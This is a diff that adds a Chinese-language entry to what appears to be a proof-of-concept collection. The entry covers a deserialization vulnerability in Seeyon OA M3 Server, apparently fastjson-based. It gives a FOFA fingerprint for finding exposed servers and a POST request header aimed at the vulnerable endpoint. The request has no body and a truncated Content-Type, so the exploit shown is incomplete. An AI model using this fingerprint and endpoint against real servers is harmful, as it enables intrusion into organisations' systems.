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+
+## 致远OA M3 Server 反序列化漏洞
+
+## fofa
+```
+"M3-Server 已启动"
+```
+
+根据群友说，这个漏洞是fastjson反序列化
+## poc
+```
+POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
+Host: {{Hostname}}
+User-Agent: Mozilla/5.0 
+Content-Type: application/x-www-form-urlencod
+
+
+```
+![ef21d114d1965815537db98570d2daf7](https://github.com/wy876/POC/assets/139549762/b3609c72-0516-4c69-a64f-62c86fffb30d)
+
+##漏洞分析
+```
+https://mp.weixin.qq.com/s/czbhaf7jpNmgjAt-OFWmIA
+```